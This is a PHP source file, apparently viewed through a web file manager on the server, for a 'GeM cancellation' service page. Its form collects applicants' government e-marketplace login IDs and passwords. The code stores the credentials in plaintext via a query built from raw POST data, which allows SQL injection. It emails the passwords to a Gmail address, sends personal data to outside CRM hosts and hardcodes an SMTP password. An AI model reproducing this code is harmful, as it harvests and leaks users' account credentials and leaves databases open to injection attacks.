Файловый менеджер - Редактировать - /home/d46091/gemregistrationonline.org/cancellation.php
Назад
<?php header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); include_once('config.php'); use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; require 'vendor/autoload.php'; function generate($length = 7) { $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'; $token = ''; while(strlen($token) < $length) { $token .= $chars[mt_rand(0, strlen($chars) - 1)]; } return 'ORDER_' . $token; } date_default_timezone_set('Asia/Kolkata'); $date = date('d-m-Y H:i:s'); if (defined('PAYMENT_GATEWAY') && $currentPaymentGateway == 'CASHFREE') { $orderId = generate(13); } else if (defined('PAYMENT_GATEWAY') && $currentPaymentGateway == 'PAYU') { $orderId = generate(13); } else { $orderId =''; } $crm_website = 'GEMREGISTRATIONONLINE.ORG'; $url1 = 'gemregistrationonline.org'; $webpath = pathinfo($url1, PATHINFO_FILENAME); $website = 'GEMREGISTRATIONONLINE.ORG'; $table='gem_registration'; //gem Registrations if (isset($_POST['form_id']) && ($_POST['form_id'] == "gem_cancellation")) { include_once('validate-special.php'); if(isset($_POST['vercode'])){ if((empty($_SESSION["vercode"])) || ($_SESSION["vercode"] != $_POST['vercode'])){ die("<script>alert('Invalid Verification Code'); history.back();</script>"); } } $applicant_name = urlencode($_POST['applicant_name']); $mobile_number = urlencode($_POST['mobile_number']); $email_id = urlencode($_POST['email_id']); $form_name = urlencode($_POST['form_name']); //Retrive Product Price According To Product Name(form_id) $_SESSION['table_id'] = 'gem_registration'; $payment_status = 'Unpaid'; $product_price = "4999"; $sql =" INSERT INTO $table ( form_name, applicant_name, mobile_number, email_id, gem_seller_id, gem_login_id, gem_password, total_amount, payment_status, order_id, terms_of_service, form_created_on ) VALUES ( '".$_POST["form_name"]."', '".$_POST["applicant_name"]."', '".$_POST["mobile_number"]."', '".$_POST["email_id"]."', '".$_POST["gemSellerId"]."', '".$_POST["gemLoginId"]."', '".$_POST["gemPwd"]."', '".$product_price."', '".$payment_status."', '".$orderId."', 'Checked', '".$date."' ) "; if (!$result = $conn->query($sql)) { die('There was an error running the query [' . $conn->error . ']'); } else { $_SESSION["form_id"] = $conn->insert_id; $form_name = urlencode($_POST["form_name"]); $ch = curl_init('https://crm2.techlounge.co.in/api/registration-form-submission.php?formId='.$_SESSION["form_id"].'&vendor=TTG&business=GEM&website='.$crm_website.'&amount='.$product_price.'&status=Unpaid&name='.$applicant_name.'&mobile='.$mobile_number.'&email='.$email_id.'&formName='.$form_name.''); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); $_SESSION["panel_form_id_2"] = $response; $ch = curl_init('https://crm11.techlounge.co.in/api/registration-form-submission.php?formId='.$_SESSION["form_id"].'&vendor=TTG&business=GEM&website='.$crm_website.'&amount='.$product_price.'&status=Unpaid&name='.$applicant_name.'&mobile='.$mobile_number.'&email='.$email_id.'&formName='.$form_name.''); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); $_SESSION["panel_form_id_11"] = $response; // Payment Gateway Redirection if (defined('PAYMENT_GATEWAY') && $currentPaymentGateway == 'CASHFREE') { include_once('cashfree/request.php'); } else if (defined('PAYMENT_GATEWAY') && $currentPaymentGateway == 'ATOM') { include_once('atom/submit.php'); } else if (defined('PAYMENT_GATEWAY') && $currentPaymentGateway == 'PAYU') { include_once('payu/payu-submit.php'); }else if (defined('PAYMENT_GATEWAY') && $currentPaymentGateway == 'RAZORPAY') { include_once('razorpay/razorpay-submit.php'); } // mail $mail = new PHPMailer(true); try { $mail->isSMTP(); $mail->Host = ''.$url1.''; $mail->SMTPAuth = true; $mail->Username = 'no-reply@'.$url1.''; $mail->Password = 'freeDOM@611#'; $mail->SMTPSecure = 'tls'; $mail->Port = 587; $mail->setFrom('no-reply@'.$url1.'', "$website"); $mail->addAddress("".$_POST["email_id"].""); $mail->isHTML(true); $mail->Subject = "Ref : Your ".$_POST["form_name"].""; $mail->Body = ' <div style="width:100%; float:left;margin:0;padding:0; background-color: #eee;"> <div style="width:80%;background-color:#fff;margin:auto;"> <div style="padding:30px 0px 30px 0px;text-align:center;background-image:linear-gradient(#07222e,#07222e);border-bottom-left-radius: 30px;border-bottom-right-radius:30px;border-bottom: 4px solid #a0a0a0;"> <span style="display:block;color:#fff;font-size:25px;font-weight:700;font-family:sans-serif;">G.E.M REGISTRATION SERVICE</span> </div> <div style="padding:20px"> Dear <strong>'.$_POST["applicant_name"].'</strong>, <br><br> Thank you for submitting your application for '.$_POST["form_name"].' on our website. <br><br> This mail is an acknowledgement of successful submission of your application, on our website. This mail does not confirm the payment status against the submitted application. </div> <div style="width:100%;background-image:linear-gradient(#07222e,#07222e);margin-top:30px;"> <div style="width:90%;margin:auto;text-align:left;"> <p style="padding:15px; font-family:sans-serif;text-align:left;color:#fff;font-size:16px;">Regards,<br> Team Processing<br> </p> </div> </div> </div> </div> '; $mail->send(); if($mail){ $data = [ 'email_id' => $mail->Username, 'recipient_email' => $_POST['email_id'], 'amount' => $product_price, 'business' => 'GEM', 'mail_type' => 'Form Submission Mail', 'mailform' => 'sent' ]; $apiUrl = 'https://crm11.techlounge.co.in/api/mail-data-logs.php'; $ch = curl_init($apiUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $response = curl_exec($ch); curl_close($ch); }else{ $data = [ 'email_id' => $mail->Username, 'recipient_email' => $_POST['email_id'], 'amount' => $product_price, 'business' => 'GEM', 'mailform' => 'notsent' ]; $apiUrl = 'https://crm11.techlounge.co.in/api/mail-data-logs.php'; $ch = curl_init($apiUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $response = curl_exec($ch); curl_close($ch); } $mail->ClearAllRecipients(); $mail->addAddress('udyogaadhaaronline.org@gmail.com'); $mail->isHTML(true); $mail->Subject = "New ".$_POST["form_name"]." Form Submitted"; $mail->Body = " APPLICANT NAME: ".$_POST["applicant_name"]."<br> MOBILE NUMBER: ".$_POST['mobile_number']."<br> EMAIL ID: ".$_POST['email_id']."<br> GEM SELLER ID : ".$_POST["gemSellerId"]."<br> GEM LOGIN ID: ".$_POST['gemLoginId']."<br> GEM PASSWORD : ".$_POST["gemPwd"]."<br> "; $mail->send(); } catch (Exception $e) { echo "Message could not be sent. Mailer Error: {$mail->ErrorInfo}"; } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Apply for G.E.M Cancellation | GEM Registration </title> <meta name="description" content="Apply for G.E.M cancellation with ease through GEM Registration's expert assistance. Streamlined process for G.E.M cancellation. Apply now!"> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"> <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/> <link rel="stylesheet" href="/assets/css/main.css"> <link rel="stylesheet" href="/posvalidate/css/validationEngine.jquery.css" type="text/css"/> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> <script src="posvalidate/js/languages/jquery.validationEngine-en.js" type="text/javascript" charset="utf-8"></script> <script src="posvalidate/js/jquery.validationEngine.js" type="text/javascript" charset="utf-8"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script> <?php include('header.php');?> <!-- <?php echo $userIp = $_SERVER['REMOTE_ADDR']; ;?> --> <script> $(document).ready( function() { $("#main-form").validationEngine({ promptPosition: "topLeft" }); }); </script> </head> <body> <div class="container-fluid"> <div class="row" style="background: linear-gradient(#dbe6ff,#ffffff);"> <div class="col-lg-12 col-sm-12 text-center"> <h1 class="heading-txt">Apply For G.e.m Cancellation</h1> </div> <div class="col-12 col-lg-6 form_box"> <div class="container-fluid fchd text-center pt-2 mt-4"><h2 class="font-weight-bold"> Application Form For G.e.M Cancellation</h2></div> <form id="main-form" action="/cancellation.php" method="post" enctype="multipart/form-data"> <div class="form-group txt"> <label>Name Of Authorized Person<span class="required"> *</span></label> <input type="text" class="form-control validate[required]" id="applicant_Name" name="applicant_name" value="" data-errormessage-value-missing="Name Of Authorized Person is required!" > </div> <div class="form-group txt"> <label>E-Mail ID<span class="required"> *</span></label> <input type="email" class="form-control validate[required]" id="email_Id" name="email_id" value="" data-errormessage-value-missing="Email is required!"> </div> <div class="form-group txt"> <label>Mobile Number<span class="required"> *</span></label> <input type="tel" maxlength="10" minlength="10" class="form-control validate[required]" id="mobile_Number" name="mobile_number" value="" data-errormessage-value-missing="Mobile Number is required!" > </div> <div class="form-group txt"> <label>G.E.M SELLER ID<span class="required"> *</span></label> <input type="text" class="form-control validate[required]" id="gem_seller_id" name="gemSellerId" value="" data-errormessage-value-missing="Date Of Birth is required!"> </div> <div class="form-group txt"> <label>G.E.M LOGIN ID<span class="required"> *</span></label> <input type="text" class="form-control validate[required]" id="gem_login_id" name="gemLoginId" value="" data-errormessage-value-missing="Date Of Birth is required!"> </div> <div class="form-group txt"> <label>G.E.M PASSWORD<span class="required"> *</span></label> <input type="text" class="form-control validate[required]" id="gem_pwd" name="gemPwd" value="" data-errormessage-value-missing="Date Of Birth is required!"> </div> <div class="form-group"> <input type="text" name="vercode" class="form-control" placeholder="Verfication Code" required="required"> </div> <div class="form-group small clearfix"> <label class="checkbox-inline">Verification Code <span class="required" onclick="openSOLNumber()" style="cursor: pointer">*</span></label> <img src="captcha.php"> </div> <div class="form-group form-check"> <input type="checkbox" class="form-check-input validate[required]" name="terms_of_service"> <label class="form-check-label">I AGREE TO THE <a href="./terms-of-service.php">TERMS OF SERVICE</a> <!--<span class=" txt">[UPDATED]</span>--></label> </div> <input type="hidden" class="form-control" name="form_name" value="GEM Cancellation"> <input type="hidden" class="form-control" name="form_id" value="gem_cancellation"> <button type="submit" class="btn btn-custom text-white">Submit Application</button> </form> </div> <div class="col-12 col-lg-6 instruc mt-4"> <div class="container fchd text-center pt-2"><h2>Guidelines to Fill G.e.m Cancellation form</h2></div> <div class="form-instructions"> <div class="form-group" style="margin-top: 4px;" id="Auth_name"> <label class="fcs-text-dark"><strong>Name of Authorized Person :</strong> Enter the Name of Owner/ Director/ Authorized Person, strictly as per Aadhaar Card or Pan Card / आधार कार्ड या पैन कार्ड के अनुसार, स्वामी/निदेशक/अधिकृत व्यक्ति का नाम दर्ज करें</label> </div> <div class="form-group" style="margin-top: 18px;" id="auth_mail"> <label class="fcs-text-dark"><strong>Email ID :</strong> Enter a valid email address of Authorized Person, Our Executive will call to verify Email OTP</label> </div> <div class="form-group" style="margin-top: 22px;" id="auth_number"> <label class="fcs-text-dark"><strong>Mobile Number :</strong> Enter valid 10 Digit mobile number of Authorized Person, Our Executive will call to verify mobile OTP.</label> </div> <div class="form-group" style="margin-top: 18px;" id="auth_d_o_b"> <label class="fcs-text-dark"><strong>G.E.M Seller ID :</strong> Enter G.e.m Seller id. </label> </div> <div class="form-group" style="margin-top: 15px;" id="auth_org"> <label class="fcs-text-dark"><strong>G.E.M Login ID :</strong> Enter G.e.m Login id. </label> </div> <div class="form-group" style="margin-top: 35px;" id="auth_typeorg"> <label class="fcs-text-dark"><strong>G.E.M Password :</strong> Enter G.e.m Password. </label> </div> <div class="form-group" style="margin-top: 20px;" id="auth_t_c"> <label class="fcs-text-dark"><strong>Terms & Conditions :</strong> Tick on checkbox to accept terms and conditions of our company. Please note OTP will be required to process your application. / हमारी कंपनी के नियमों और शर्तों को स्वीकार करने के लिए दोनों चेकबॉक्स पर टिक करें। कृपया ध्यान दें कि आपके आवेदन को संसाधित करने के लिए ओटीपी की आवश्यकता होगी।</label> </div> <div class="form-group" style="margin-top: 20px;" id="auth_submit"> <label class="fcs-text-dark"><strong>Submit Application :</strong> Click on submit application button to submit your application. / अपना आवेदन जमा करने के लिए सबमिट एप्लिकेशन बटन पर क्लिक करें।</label> </div> </div> </div> <?php include('footer.php');?> </body> </html>
| ver. 1.4 |
Github
|
.
| PHP 8.1.32 | Генерация страницы: 0 |
proxy
|
phpinfo
|
Настройка